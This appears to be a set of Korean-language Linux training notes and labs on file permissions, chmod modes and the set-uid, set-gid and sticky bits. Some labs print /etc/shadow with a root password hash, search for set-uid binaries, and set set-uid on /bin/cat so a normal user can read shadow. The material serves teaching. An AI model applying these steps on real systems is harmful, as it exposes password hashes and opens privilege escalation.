#############################################

## 주제 : 퍼미션                           ##

#############################################


여러사람이 사용하는 멀티유저 운영체제인 리눅스는 보안상의 이유로 각 파일마다 

접근권한이 설정되어 있다.  이를 퍼미션이라고 한다.

예를들어 다른 사람이 자신의 파일을 읽을 수 있도록 허용할 수도 있고 거부할 수도 있다.

또한 자신의 파일에 다른 내용을 기록하게 허용할 수도 있고 거부할 수도 있다.

이들 권한들을 이용하여 각 파일과 디렉토리들을 다른 사람들과 공유하거나 아니면 개인적인 목적으로 사용할 수 있다. 

리눅스에서 사용자는 기본적으로 최소 하나의 그룹에 포함되어 있고 하나 이상의 그룹에 속할 수도 있다.

         

파일(디렉토리) 생성시 디폴트로 설정되는 권한

- 파일 권한은 umask 에 기본 설정된 값에 따라서 권한이 만들어진다.

- 명령어 : umask (내부명령어)


퍼미션 변경 명령어 

- 명령어 : chmod (외부명령어)

- 디렉토리 위치 : /bin

- 패키지 : coreutils 


퍼미션 변경 방법 

- symbolic mode(심볼릭 모드)를 이용해서 변경(문자를 이용) 한다.

- octal mode(8진수 모드)를 이용해서 변경(숫자를 이용) 한다.



퍼미션의 3가지 구분

1. 소유자 (user)

2. 그룹 (group)

3. 다른사용자 (other)


리눅스의 퍼미션

- 퍼미션은 크게 아래처럼 읽기권한, 쓰기권한, 실행권한, 특수권한으로 되어있다. 

- 퍼미션은 아이노드에 정보가 들어있다.


    s  s  t <-- 특수 권한

  rwxrwxrwx <-- 일반 권한

 -rw-r--r-- 1 root root 1826 Nov 18 15:07 /etc/passwd

  ~~~   ~~~

  |  ~~~ |

  |  |  other (user + group 에 속하지 않은 모든 사용자들의 권한)

  |  |  

  |  group (파일의 그룹의 권한)

  |

  user (owner 파일의 소유자의 권한)



r(Read)    : 읽기 권한

w(Write)   : 쓰기 권한 

x(eXecute) : 실행 권한 

s(Set-uid) : 특수 권한 (셋유저아이디 or 셋유아이디)

s(Set-gid) : 특수 권한 (셋그룹아이디 or 셋지아이디)

t(stickybiT) : 특수 권한 (스티키비트)


+---+-----------+-----------+-----------+

|   |  Set-UID  |  Set-GID  |Sticky-Bit |

+   +---+---+---+---+---+---+---+---+---+

|   |     s     |     s     |     t     |  <-- 특수 권한

+   +---+---+---+---+---+---+---+---+---+

|   | r | w | s | r | w | s | r | w | t |

+   +---+---+---+---+---+---+---+---+---+

|   |    user   |   group   |   other   |

+---+---+---+---+---+---+---+---+---+---+

| - | r | w | x | r | w | x | r | w | x |  <-- 일반 권한

+---+---+---+---+---+---+---+---+---+---+



octal mode를 이용한 일반 권한의 퍼미션 값

+---+---+---+---+

|   | 4 | 2 | 1 |

+---+---+---+---+

| - | r | w | x |

+---+---+---+---+

| 0 | 0 | 0 | 0 | ---

+---+---+---+---+

| 1 | 0 | 0 | 1 | --x

+---+---+---+---+

| 2 | 0 | 1 | 0 | -w-

+---+---+---+---+

| 3 | 0 | 1 | 1 | -wx

+---+---+---+---+

| 4 | 1 | 0 | 0 | r--

+---+---+---+---+

| 5 | 1 | 0 | 1 | r-x

+---+---+---+---+

| 6 | 1 | 1 | 0 | rw-

+---+---+---+---+

| 7 | 1 | 1 | 1 | rwx

+---+---+---+---+


octal mode를 이용한 특수 권한의 퍼미션 값

      0000 ~ 7777

      0 ~ 7        0 ~ 7       0 ~ 7       0 ~ 7

    |- 특수권한-|- user    -|- group   -|- other   -|

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   | 4 | 2 | 1 | 4 | 2 | 1 | 4 | 2 | 1 | 4 | 2 | 1 |  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   | s | s | t | r | w | x | r | w | x | r | w | x |  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- rwxrwxrwx

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | x | r | w | x | r | w | x |  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- t rwxrwxrwt

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | x | r | w | x | r | w | t |  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 2 | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- s   set-gid 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | x | r | w | s | r | w | x |  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 3 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- st  set-gid + sticky-bit  

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | x | r | w | s | r | w | t | 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 4 | 1 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- s   set-uid   

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | s | r | w | x | r | w | x | 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 5 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- st  set-uid + sticky-bit

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | s | r | w | x | r | w | t | 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 6 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- ss  set-uid + set-gid

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | s | r | w | s | r | w | x | 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

| 7 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | <-- sst set-uid + set-gid + sticky-bit

+---+---+---+---+---+---+---+---+---+---+---+---+---+

|   |   |   |   | r | w | s | r | w | s | r | w | t | 

+---+---+---+---+---+---+---+---+---+---+---+---+---+

 


파일과 디렉토리에 대한 퍼미션의 의미

--------------------------------------+------------------------------------------------

             파일                     |          디렉토리 (x 권한을 같이 사용)

--------------------------------------+------------------------------------------------

r  파일의 내용을 볼 수 있는 권한      |  디렉토리의 파일 목록을 볼 수 있는 권한

--------------------------------------+------------------------------------------------

w  파일의 내용을 수정할 수 있는 권한  |  디렉토리에서 파일을 생성/삭제할 수 있는 권한

--------------------------------------+------------------------------------------------

x  파일을 실행할 수 있는 권한         |  디렉토리에 접근할 수 있는 권한 (cd 로 이동)

--------------------------------------+------------------------------------------------

setUID  실행중에 소유자의 권한으로 실행    |                   x 

--------------------------------------+------------------------------------------------

setGID  실행중에 그룹의 권한으로 실행 |   파일을 생성시 그룹의 권한으로 생성

--------------------------------------+------------------------------------------------

sticky-bit  현재는 사용하지 않는다.   |   모두 생성하지만 지울땐 소유자가 만든 파일만 삭제 

                                      |   (공용디렉토리에 사용, /tmp)

--------------------------------------+------------------------------------------------


x 권한이 들어있는 파일은 실행파일 과 디렉토리이다.

실행파일의 두 가지 종류

- 바이너리 파일(컴파일과정을 거친 파일)  (root : x 권한만 있으면 된다. 일반유저 : x 권한만 있으면 된다.) 

- 쉘스크립트 파일 (일반 텍스트 문서지만 실행 형식을 갖춘 파일)     

  (root : x 권한만 있어도 된다. 일반유저 : rx 모두 있어야 한다.)

 


심볼릭 모드를 이용해서 변경하는 방법의 예

- 문자를 이용해서 퍼미션을 변경한다.

- 허용문자 : augorwxst,=-+


-----------------------------------------------

ex)

# touch a.txt; chmod a-rwx a.txt


---------- 1 root root 0 Oct 31 17:28 a.txt


chmod u+rwx,go+rx a.txt or chmod u+w,a+rx a.txt or

chmod a+rwx,go-w a.txt or chmod a=rwx,og-w a.txt

-rwxr-xr-x (0755)  


chmod go= a.txt or chmod go-rx a.txt

-rwx------   


-rw-------   chmod u-x a.txt


-rw-r--r--   chmod go+r a.txt

-----------------------------------------------


8진수(octal) 모드를 이용해서 변경하는 방법의 예

- 숫자를 이용해서 퍼미션을 변경한다.

- 허용숫자 : 0 ~ 7

  rwx rwx

  421 421

0 --- 000 

1 --x 001

2 -w- 010

3 -wx 011

4 r-- 100

5 r-x 101

6 rw- 110

7 rwx 111


-----------------------------------------------

ex) a.txt 를 초기화 시키고 권한 변경하기

chmod 000 a.txt

---------- 1 root root 0 Oct 31 17:28 a.txt


-rwxr-xr-x  : chmod -c 755 a.txt

-rwx------  : chmod -c 700 a.txt

-rw-------  : chmod -c 600 a.txt 

-rw-r--r--  : chmod -c 644 a.txt

---x--x--x  : chmod -c 111 a.txt

-----------------------------------------------



많이 사용되는 실행파일 권한들

-rwxr-xr-x   

-rwxr-x--x   <-- 보안상 r 권한은 제거

-rwxr-x---

-rwx------

-rwx--x---


많이 사용되는 디렉토리 권한들

drwxr-xr-x   

drwxr-x--x   <-- 보안상 r 권한은 제거

drwxr-x---

drwx------

drwx--x---


많이 사용되는 파일들의 권한들 (실행파일과 디렉토리가 아닌 모든 파일들에 해당)

-rw-r--r--   

-rw-r-----

-rw-------


*** 공통점 : 소유자는 user 부분의 권한을 모두 가진다는 것이다. ***

디렉토리 : -rwx??????

일반파일(실행X) : -rw-??????

일반파일(실행X) : -r--??????

일반파일(실행O) : -rwx??????


==================================================================

LAB> Linux Box 에 기본적으로 설정된 퍼미션을 알아보자


-- LAB 순서 --

1. /etc/shadow 파일 내용 보기

2. /root 디렉토리로 이동하기

-- LAB 순서 --


1. cat /etc/shadow 

- /etc/shadow 파일 내용을 관리자(root) 와 일반유저(linux)가 명령어 cat head tail 로 살펴보자.


- 사용자를 확인한다.

~ # id

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:unconfined_t:s0-s0:c0.c1023


- 권한을 확인한다.

~ # ls -dl /bin

-rwxr-xr-x ...

~ # ls -l /bin/cat

-rwxr-xr-x 1 root root 20776 Mar 21  2012 /bin/cat

~ # ls -l /etc/shadow

-r-------- 1 root root 1222 Nov 18 13:18 /etc/shadow

~ # ls -l /usr/bin/head 

-rwxr-xr-x 1 root root 31788 Jul 22  2011 /usr/bin/head

~ # ls -l /usr/bin/tail

-rwxr-xr-x 1 root root 42956 Jul 22  2011 /usr/bin/tail


- 파일의 내용을 확인한다.

~ # cat /etc/shadow

root:$1$gmWxQmiB$CvtOiLu.oflCfdDQQLXdA1:15955:0:99999:7:::

bin:*:15955:0:99999:7:::

daemon:*:15955:0:99999:7:::

adm:*:15955:0:99999:7:::

lp:*:15955:0:99999:7:::

sync:*:15955:0:99999:7:::

shutdown:*:15955:0:99999:7:::

  :

  :


~ # head -2 /etc/shadow

root:$1$gmWxQmiB$CvtOiLu.oflCfdDQQLXdA1:15955:0:99999:7:::

bin:*:15955:0:99999:7:::

~ # tail -2 /etc/shadow

test3:!!:16268:0:99999:7:::

linux:!!:16263:0:99999:7:::


- 일반유저 linux 에서 파일의 내용을 확인한다.

~ # useradd linux

~ # su - linux


- 사용자를 확인한다.

~ $ id

uid=503(linux) gid=503(linux) groups=503(linux) context=root:system_r:unconfined_t:s0-s0:c0.c1023

~ $ cat /etc/shadow

cat: /etc/shadow: Permission denied

~ $ head /etc/shadow

head: cannot open `/etc/shadow' for reading: Permission denied

~ $ tail /etc/shadow

tail: cannot open `/etc/shadow' for reading: Permission denied

~ $ more  /etc/shadow

/etc/shadow: Permission denied


2. /root 디렉토리로 이동하기

- /root 디렉토리로 관리자(root) 와 일반유저(linux)가 명령어 cd 로 이동해보자.


- 권한을 확인한다.

# ls -ld /root

drwxr-x--- 8 root root 4096 Jul 13 03:07 /root


# ls -ld /tmp

drwxrwxrwt 7 root root 1024 Oct 23 16:47 /tmp


- 디렉토리로 이동한다.

# cd /tmp

# cd /root

# su - linux


- 사용자를 확인한다.

$ id

uid=503(linux) gid=503(linux) groups=503(linux) context=root:system_r:unconfined_t:s0-s0:c0.c1023


- 디렉토리로 이동한다.

~ $ ls -ld /root

drwxr-x--- 8 root root 4096 Jul 13 02:56 /root

$ cd /tmp

$ pwd

$ cd /root

-bash: cd: /root: Permission denied



$ cat /etc/shadow

cat: /etc/shadow: Permission denied


$ ls -ld /

drwxr-xr-x 23 root root 4096 Oct 20 10:16 /

$ ls -ld /bin

drwxr-xr-x 2 root root 4096 Oct 17 12:17 /bin

$ ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 /bin/cat

$ ls -ld /etc

drwxr-xr-x 82 root root 4096 Oct 23 14:37 /etc

$ ls -l /etc/shadow

-r-------- 1 root root 970 Oct 20 11:39 /etc/shadow

$ ls -l /etc/passwd

-rw-r--r-- 1 root root 1595 Oct 20 11:39 /etc/passwd

$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

  :

  :


- /usr/local/bin 디렉토리는 일반유저가 들어갈 수 있는 권한이 있다.

$ cd /usr/local/bin

$ pwd

/usr/local/bin


$ ls -ld /usr

drwxr-xr-x 15 root root 4096 Oct 17 10:51 /usr

         ~

$ ls -ld /usr/local

drwxr-xr-x 11 root root 4096 Oct 17 10:50 /usr/local

         ~

$ ls -ld /usr/local/bin

drwxr-xr-x 2 root root 4096 May 11  2011 /usr/local/bin

         ~



- /var/spool/cron 디렉토리는 일반유저가 들어갈 수 있는 권한이 없다.

$ cd /var/spool/cron

-bash: cd: /var/spool/cron/: Permission denied


$ ls -ld /var

drwxr-xr-x 22 root root 4096 Oct 17 11:37 /var

         ~

$ ls -ld /var/spool/

drwxr-xr-x 10 root root 4096 Oct 17 10:52 /var/spool

         ~

$ ls -ld /var/spool/cron

drwx------ 2 root root 4096 Feb 23  2012 /var/spool/cron

         ~


- /tmp 디렉토리의 파일 목록을 확인할 수 있다.

$ ls /tmp

lost+found  mc-root  TEST


$ ls -l /bin/ls

-rwxr-xr-x 1 root root 95116 Jul 22  2011 /bin/ls

         ~

$ ls -ld /tmp

drwxrwxrwt 7 root root 1024 Oct 23 19:11 /tmp

         ~


$ df

Filesystem           1K-blocks      Used Available Use% Mounted on

/dev/sda1              2847720    258048   2442680  10% /

/dev/sda3               388693     10307    358305   3% /home

/dev/sda6               956980    136728    770856  16% /var

/dev/sda7               482214     10552    446763   3% /tmp

/dev/sda5              1898468   1274028    526448  71% /usr

/dev/sda2               101105     11596     84288  13% /boot

tmpfs                   127492         0    127492   0% /dev/shm


$ ls -l /bin/df

-rwxr-xr-x 1 root root 44744 Jul 22  2011 /bin/df



- 디렉토리의 r 권한 테스트

# ls -ld /tmp

drwxrwxrwt 7 root root 1024 Oct 23 19:11 /tmp

       ~

$ ls /tmp

lost+found  mc-root  TEST


# chmod o-r /tmp 

# ls -ld /tmp

drwxrwx-wt 7 root root 1024 Oct 23 19:11 /tmp

       ~

$ ls /tmp

ls: /tmp: Permission denied


- 쓰기 권한 연습


$ cd

$ pwd

/home/linux

$ ls -ld 

drwx------ 3 linux linux 1024 Oct 23 19:31 .

  ~

$ touch a.txt

$ ls -l a.txt 

-rw-rw-r-- 1 linux linux 0 Oct 23 19:31 a.txt

$ echo 1234 > a.txt

$ ls -l a.txt 

-rw-rw-r-- 1 linux linux 5 Oct 23 19:31 a.txt

$ cat a.txt 

1234


- /etc/passwd 파일을 수정할 수 없다.

$ echo 1234 >> /etc/passwd

-bash: /etc/passwd: Permission denied

$ ls -ld /etc

drwxr-xr-x 82 root root 4096 Oct 23 19:11 /etc

        ~

$ ls -l /etc/passwd

-rw-r--r-- 1 root root 1595 Oct 20 11:39 /etc/passwd

        ~


파일이 쓰기 권한이 없어도 파일이 속한 디렉토리에 쓰기 권한이 있다면 

일반유저는 파일을 수정할 수 있다. 

파일보다 파일이 속한 디렉토리가 우선하기 때문이다.

# mkdir -m 707 /tmp/test

# umask 022

# echo 1234 > /tmp/test/a.txt


$ ls -ld /tmp/test

drwxr-xrwx 82 root root 4096 Oct 23 19:11 /tmp/test

$ ls -l /tmp/test/a.txt

-rw-r--r-- 1 root root 1595 Oct 20 11:39 /tmp/test/a.txt

$ cd /tmp/test

$ cp a.txt b.txt

$ rm -f a.txt

$ mv b.txt a.txt

$ echo hi >> a.txt


==================================================================



==================================================================

LAB> 웹서버 문서의 권한을 테스트해보자.


# apachectl stop

# yum -y install httpd

# /etc/init.d/httpd start

# cd /var/www/html

# vi index.html

-- index.html --

Hello My Server!!!

-- index.html --


# ifconfig eth1

eth1      Link encap:Ethernet  HWaddr 08:00:27:AD:8E:F4  

          inet addr:192.168.56.101  Bcast:192.168.56.255  Mask:255.255.255.0


# iptables -F


브라우저로 접속 : httpd://192.168.56.101


- 일반 유저가 파일의 내용을 수정!!!

# su - apache

$ cd /var/www/html

$ ls -ld 

drwxr-xr-x 2 root root 4096 Oct 23 19:46 .

        ~ <-- root 사용자 아닌 모든 유저는 파일을 생성할 수 없다.

$ ls -l

total 8

-rw-r--r-- 1 root root 19 Oct 23 19:46 index.html

        ~ <-- root 사용자 아닌 모든 유저는 파일을 수정할 수 없다.


$ cat index.html 

Hello My Server!!!

$ vi index.html      <-- 파일의 내용을 수정할 수 없다.

         

$ touch index2.html  <-- 파일을 생성할 수 없다.

touch: cannot touch `index2.html': Permission denied


$ exit

# pwd

/var/www/html

# ls -l index.html 

-rw-r--r-- 1 root root 19 Oct 23 19:46 index.html

# chmod o+w index.html 

# ls -l

total 8

-rw-r--rw- 1 root root 19 Oct 23 19:46 index.html

        ~

# su - apache

$ cd /var/www/html

$ vi index.html       <-- 파일의 내용을 수정할 수 있다.

-- index.html --

hahaha!!!

-- index.html --


- 디렉토리가 쓰기 권한이 있고 파일이 쓰기 권한이 없을 때도 변경할 수 있는가 ?

# chmod o+w .

# ls -ld 

drwxr-xrwx 2 root root 4096 Oct 23 19:46 .


# chmod 644 index.html 

# ls -l

total 8

-rw-r--r-- 1 root root 22 Oct 23 19:56 index.html


- 저장시 :w 하면 저장이 안되고 :w! 해야 저장할 수 있다. 

  파일이 w 권한이 없어도 저장되는 이유는 디렉토리의 권한이 파일보다 

  우선순위를 먼저 가지기 때문이다.

$ vi index.html

-- index.html --

Hello My Server!!! ^^*;;

-- index.html --


$ ls -l index.html 

-rw-r--r-- 1 linux linux 25 Oct 23 20:10 index.html


==================================================================




==================================================================

LAB> chmod 를 이용한 파일의 권한을 변경해보자.


-- LAB 순서 --

1. symbolic mode 로 퍼미션 변경

2. octal mode 로 퍼미션 변경

-- LAB 순서 --


1. symbolic mode 로 퍼미션 변경

- /bin/mv 명령어를 자신의 디렉토리에 복사한 후 symbolic mode 로 퍼미션을 변경해보자.

# cp /bin/mv .

# ls -l mv

-rwxr-xr-x 1 root root 78252 Nov 18 16:12 mv

# chmod -c u-r mv

mode of `mv' changed to 0355 (-wxr-xr-x)

# chmod -c o-r mv

mode of `mv' changed to 0351 (-wxr-x--x)

# chmod a-x mv -c

mode of `mv' changed to 0240 (-w-r-----)



2. octal mode 로 퍼미션 변경

- 복사된 /bin/mv 명령어의 퍼미션을 octal mode 로 변경해보자.

# cp /bin/mv .

# chmod -c 000 mv 

mode of `mv' changed to 0000 (---------)

# chmod -c 700 mv

mode of `mv' changed to 0700 (rwx------)

# chmod -c 711 mv

mode of `mv' changed to 0711 (rwx--x--x)

# chmod -v 711 mv

mode of `mv' retained as 0711 (rwx--x--x)

~ # chmod -c 711 mv

# chmod -c 710 mv

mode of `mv' changed to 0710 (rwx--x---)

# chmod 1777 mv

# chmod -v 1777 mv

mode of `mv' retained as 1777 (rwxrwxrwt)

# chmod -c 2755 mv

mode of `mv' changed to 2755 (rwxr-sr-x)

~ # chmod -c 4755 mv

mode of `mv' changed to 4755 (rwsr-xr-x)


==================================================================


==================================================================

LAB> /tmp 디렉토리 테스트 


참고 : sticky-bit(w권한포함) 권한이 있는 디렉토리는 누구나 파일을 생성할 수 

있지만 파일을 삭제할 때는 자기가 만든 파일만 삭제할 수 있다.

남이 생성한 파일에 대해서는 삭제할 수 없다.


리눅스에서 sticky-bit 가 걸려있는 디렉토리를 검색한다.

# find / -perm -1000 -ls 2> /dev/null 1> /dev/null

# find / -perm -1000 -ls 2> /dev/null 1> /dev/null

# find / -perm -1000 -ls 2> /dev/null 1>&2

# find / -perm -1000 -ls 1> /dev/null 2>&1

# find / -perm -1000 -ls 1> /dev/null 2> /dev/null

# find / -perm -1000 -ls > /dev/null 2> /dev/null


[root@localhost ~]# ls -ld /tmp

drwxrwxrwt 7 root root 1024 Oct 24 02:55 /tmp


[root@localhost ~]# su - user1

[user1@localhost ~]$ cd /tmp


[root@localhost ~]# su - linux

[linux@localhost ~]$ cd /tmp


[user1@localhost tmp]$ touch user1.txt

[user1@localhost tmp]$ ls -l user1.txt 

-rw-rw-r-- 1 user1 user1 0 Oct 24 02:54 user1.txt


[linux@localhost tmp]$ touch linux.txt

[linux@localhost tmp]$ ls -l linux.txt 

-rw-rw-r-- 1 linux linux 0 Oct 24 02:54 linux.txt


[user1@localhost tmp]$ rm -f linux.txt 

rm: cannot remove `linux.txt': Operation not permitted


[linux@localhost tmp]$ rm -f user1.txt 

rm: cannot remove `user1.txt': Operation not permitted


[user1@localhost tmp]$ rm -fv user1.txt 

removed `user1.txt'

[user1@localhost tmp]$ ls -l user1.txt

ls: user1.txt: No such file or directory


[linux@localhost tmp]$ rm -f linux.txt 

[linux@localhost tmp]$ ls -l linux.txt

ls: linux.txt: No such file or directory


==================================================================


==================================================================

LAB> Set-UID 테스트1

일반유저가 실행파일을 실행시 자신의 권한으로 프로그램을 실행하게 되는데

Set-uid 가 걸린 실행파일을 실행할 때는 자신의 권한이 아니라 실행파일의 소유자의

권한으로 실행하게 된다.


좋은 예가 일반유저가 자신의 비밀번호를 저장하는 경우이다. 

이 경우 일반유저는 /etc/shadow 파일에 저장할 수 있는 권한이 없지만

/usr/bin/passwd 파일이 set-uid 권한이 있기 때문에 /etc/shadow 파일에

자신의 비밀번호를 저장할 수 있는 것이다.


UID, GID, EUID, EUGID



[root@localhost html]# ls -l /usr/bin/passwd 

-rwsr-xr-x 1 root root 23420  8월 11  2010 /usr/bin/passwd

[root@localhost html]# ls -l /etc/shadow

-r-------- 1 root root 2441  3월 17 19:09 /etc/shadow

[root@localhost html]# useradd testpasswd 

[root@localhost html]# tail -1 /etc/shadow

testpasswd:!!:16511:0:99999:7:::

[root@localhost html]# echo 1234 | passwd --stdtn testpasswd

passwd: bad argument --stdtn: unknown option

[root@localhost html]# echo 1234 | passwd --stdin testpasswd

Changing password for user testpasswd.

passwd: all authentication tokens updated successfully.

[root@localhost html]# tail -1 /etc/shadow

testpasswd:$6$WS8.iV/N$8ZFwt5......:16511:0:99999:7:::

[root@localhost html]# su - testpasswd

[testpasswd@localhost ~]$ passwd

Changing password for user testpasswd.

Changing password for testpasswd

(current) UNIX password: 

New UNIX password: 

Retype new UNIX password: 

passwd: all authentication tokens updated successfully.

[testpasswd@localhost ~]$ exit

[root@localhost html]# tail -1 /etc/shadow

testpasswd:$6$ozop05dF$tJTxLFZ9JCN...:16511:0:99999:7:::

==================================================================


==================================================================

LAB> Set-UID 테스트2


# cd /tmp

# vi setuidtest.c

-- setuidtest.c --

#include <stdio.h>

#include <unistd.h>

#include <sys/types.h>


int main()

{

  int uid, gid, euid, egid;


  // EUID : Set-UID 가 걸린 UID 

  // GUID : Set-GID 가 걸린 GID

  // set-uid, set-gid 가 설정이 되어있지 않다면 EUID, EGID 에는 자신의 

  // UID 와 GID 값이 들어간다.


  uid = getuid();    // 현재 프로세스를 실행한 사용자의 UID 를 구한다.

  gid = getgid();    // 현재 프로세스를 실행한 사용자의 GID 를 구한다.

  euid = geteuid();  // 현재 프로세스에 설정된 UID(EUID) 를 구한다.

  egid = getegid();  // 현재 프로세스에 설정된 GUID(EGID) 를 구한다.


  printf("uid  = %d \n" 

         "gid  = %d \n" 

         "euid = %d \n" 

         "egid = %d \n", uid, gid, euid, egid);


  return 0;

}

-- setuidtest.c --


-- 실행결과 --

# gcc -o setuidtest setuidtest.c 

# ./setuidtest


# su - user1

$ id

uid=9010(user1) gid=9010(user1) groups=9010(user1)

$ /tmp/setuidtest 

uid  = 9010 

gid  = 9010 

euid = 9010 

egid = 9010 

$ exit


# chmod u+s setuidtest

# ls -l setuidtest

-rwsr-xr-x 1 root root 5394  3월 17 20:51 setuidtest

# su - user1

$ /tmp/setuidtest 

uid  = 9010 

gid  = 9010 

euid = 0 

egid = 9010 

$ exit


# chmod g+s setuidtest

# ls -l setuidtest

-rwsr-sr-x 1 root root 5394  3월 17 20:51 setuidtest

# su - user1

$ /tmp/setuidtest 

uid  = 9010 

gid  = 9010 

euid = 0 

egid = 0 

-- 실행결과 --

==================================================================

==================================================================

LAB> Set-UID 테스트3


조건 : 전체 시스템에서 set-uid 가 걸린 것을 모두 찾는데 에러는 출력하지 말아라


# find / -perm -4000 -ls 2> /dev/null

su 

passwd

 :

 :


이 랩은 일반 유저가 cat 을 이용해서 /etc/shadow 파일을 보는 내용이다.

일반적으로 /bin/cat의 실행파일은 일반유저가 실행할 수는 있지만 

/etc/shadow 파일의 읽기 권한이 없기 때문에 /etc/shadow 파일을 볼 수 없다.

하지만 /bin/cat 의 권한을 set-uid 로 설정하면 /etc/shadow 파일을 볼 수 있다.


!!! /etc/shadow 파일을 보기위한 조건 : 

!!! 1. 권한이 set-uid 가 있어야 한다.

!!! 2. 실행파일(cat)의 소유자가 root 이어야 한다.



# ls -ld /

drwxr-xr-x 25 root root 4096 Mar 17 15:52 /

# ls -ld /bin

drwxr-xr-x 2 root root 4096 Oct 17 12:17 /bin

# ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 bin/cat

# ls -ld /etc

drwxr-xr-x 82 root root 4096 Oct 24 02:40 etc

# ls -l /etc/shadow

-r-------- 1 root root 1030 Oct 24 02:40 /etc/shadow


$ cat /etc/shadowcat: 

/etc/shadow: Permission denied


# chmod u+s /bin/cat -c

mode of `/bin/cat' changed to 4755 (rwsr-xr-x)


$ cat /etc/shadow

  :

  :

$ exit


# chown user2 /bin/cat

# ls -l /bin/cat

-rwxr-xr-x 1 user2 root 23260 Jul 22  2011 /bin/ca

# chmod u+s /bin/cat

# ls -l /bin/cat

-rwsr-xr-x 1 user2 root 23260 Jul 22  2011 /bin/ca

# su - user1

$ cat /etc/shadow

cat: /etc/shadow: Permission denied

==================================================================

==================================================================

LAB> SetGID 테스트


- 일반 파일

[root@localhost ~]# umask

0022

[root@localhost ~]# echo 1234 > /tmp/readme.txt 

[root@localhost ~]# chmod o= /tmp/readme.txt 

[root@localhost ~]# ls -l /tmp/readme.txt 

-rw-r----- 1 root root 5 Oct 24 03:35 /tmp/readme.txt

[root@localhost ~]# chmod 755 /bin/cat

[root@localhost ~]# ls -l /bin/cat

-rwxr-xr-x 1 root root 23260 Jul 22  2011 /bin/cat


- /bin/cat 은 일반유저가 실행할 때 자신의 권한으로 실행하므로 

  /tmp/readme.txt 파일은 볼 수가 없다.

[user1@localhost ~]$ cat /tmp/readme.txt 

cat: /tmp/readme.txt: Permission denied


- /bin/cat 파일을 SetGID 권한을 부여한다.

[root@localhost ~]# chmod g+s /bin/cat

[root@localhost ~]# ls -l /bin/cat

-rwxr-sr-x 1 root root 23260 Jul 22  2011 /bin/cat


- 일반유저가 /bin/cat 을 실행할 때 SetGID 권한이 설정되어 있으므로 

  /tmp/readme.txt 파일을 볼 수 있다.

[user1@localhost ~]$ cat /tmp/readme.txt 

1234


- 디렉토리


- 디렉토리에 SetGID 가 없을 경우 

- 소유자가 속해있는 그룹으로 파일이 생성된다.

[root@localhost ~]# mkdir -m 777 /tmp/test

[root@localhost ~]# ls -ld /tmp/test

drwxrwxrwx 2 root root 1024 Oct 24 03:42 /tmp/test


[user1@localhost ~]$ cd /tmp/test

[user1@localhost test]$ touch a.txt

[user1@localhost test]$ ls -l a.txt 

-rw-rw-r-- 1 user1 user1 0 Oct 24 03:43 a.txt

                   ~~~~~


- 디렉토리에 SetGID 가 있을 경우 

- 디렉토리에 설정된 그룹으로 파일이 생성된다.

[root@localhost ~]# chmod g+s /tmp/test

[root@localhost ~]# ls -ld /tmp/test

drwxrwsrwx 2 root root 1024 Oct 24 03:43 /tmp/test

     ~~

[user1@localhost test]$ touch b.txt

[user1@localhost test]$ ls -l b.txt 

-rw-rw-r-- 1 user1 root 0 Oct 24 03:44 b.txt

                   ~~~~

==================================================================


===========================================================================================================

LAB> 권한 테스트하기


421421421

---------  0000 

r--rws--t  3471

--s--s--x  6111


rwxrwxrwt  1777

rwSr-x--T  5650

-wS-w----  4220

--S-----x  4001

--srw-rwx  4167

r-S-wS-w-  6422

rw---s--t  3611

rw---S--T  3600

rw------T  1600

r----x--t  1411

===========================================================================================================


===========================================================================================================

LAB> LINUX BOX 에서 특수 권한이 있는 모든 파일을 검색하기


- SUID 가 들어있는 파일들을 모두 검색한다.

# find / -perm -4000 2>/dev/null -ls


- SGID 가 들어있는 파일들을 모두 검색한다.

# find / -perm -2000 2>/dev/null -ls


- SUID 와 SGID 권한이 있는 파일들을 모두 검색한다.

# find / \( -perm -4000 -o -perm -2000 \) 2>/dev/null -ls


===========================================================================================================


===========================================================================================================

LAB> 읽기 권한 디렉토리 실습하기


$ ls -ld /bin

drwxr-xr-x 2 root root 4096 Oct 17 12:17 /bin

       ~~~

$ ls -ld /root

drwxr-x--- 11 root root 4096 Oct 23 23:21 /root

       ~~~

$ ls /root

ls: /root: Permission denied

===========================================================================================================







===========================================================================================================

LAB> 읽기, 쓰기 권한 연습하기


- 읽기권한 연습 ( read 권한을 제거 )

# cd /tmp


/tmp # echo "Hello World" > a.txt

/tmp # ls -l a.txt 

-rw-r--r-- 1 root root 12 Feb 17 22:05 a.txt

